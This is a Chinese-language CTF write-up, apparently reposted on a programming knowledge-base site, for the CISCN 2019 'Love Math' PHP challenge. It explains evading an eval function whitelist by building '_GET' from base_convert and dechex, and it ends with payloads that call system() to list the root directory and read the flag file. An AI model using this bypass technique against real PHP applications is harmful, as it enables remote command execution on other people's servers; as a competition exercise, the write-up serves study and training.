| |
|
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
| -> PHP知识库 -> [CISCN 2019 初赛]Love Math -> 正文阅读 |
|
|
[PHP知识库][CISCN 2019 初赛]Love Math |
如果想得到flag,则以GET方式提交c,长度小于80,过滤了空格,斜杠,双引号等等,如果想使用函数,那么必须在白名单中再由eval执行 首先,我们最终目标应该是构造payload,如下
虽然双引号被过滤,但是删除之后也可执行,对于函数,可以利用动态函数的性质,即字符串做函数名,加上括号即可被当做函数执行
现在只需将$_GET[a]=system,同理b=ls /即可
最终简化效果应该是如上的代码,但是传入c的参数会被检测导致报错,那么光靠这几个函数似乎是不可行的,而且白名单检测c中出现的变量,因此a和b是不能出现的。其实现在还有一个地方没有被利用到,关于源码内白名单的函数 PHP函数:
根据推出的简化payload,我们首先需要去想如何构造$、_、GET,且GET必须为大写 思路:首先由于hex2bin可以把十六进制值的字符串转换为 ASCII 字符,这就解决了GET大小写的问题。由于hex2bin函数并不在白名单内,但是dechex在白名单,先将_GET十进制化,由dechex转为十六进制,得到5f474554,如下
再利用hex2bin处理5f474554,即可得到_GET了,那么如何构造hex2bin呢? base_convert函数可以在任意进制之间转换数字,37907361743的十六进制转换为三十六进制即为hex2bin
最终,base_convert(37907361743,10,36)(dechex(1598506324))
payload: c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=ls%20/
最后payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat%20/flag
|
|
|
| PHP知识库 最新文章 |
| Laravel 下实现 Google 2fa 验证 |
| UUCTF WP |
| DASCTF10月 web |
| XAMPP任意命令执行提升权限漏洞(CVE-2020- |
| [GYCTF2020]Easyphp |
| iwebsec靶场 代码执行关卡通关笔记 |
| 多个线程同步执行,多个线程依次执行,多个 |
| php 没事记录下常用方法 (TP5.1) |
| php之jwt |
| 2021-09-18 |
|
|
| 上一篇文章 查看所有文章 |
|
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
| 360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年11日历 | -2025/11/30 1:22:21- |
|
| 网站联系: qq:121756557 email:121756557@qq.com IT数码 |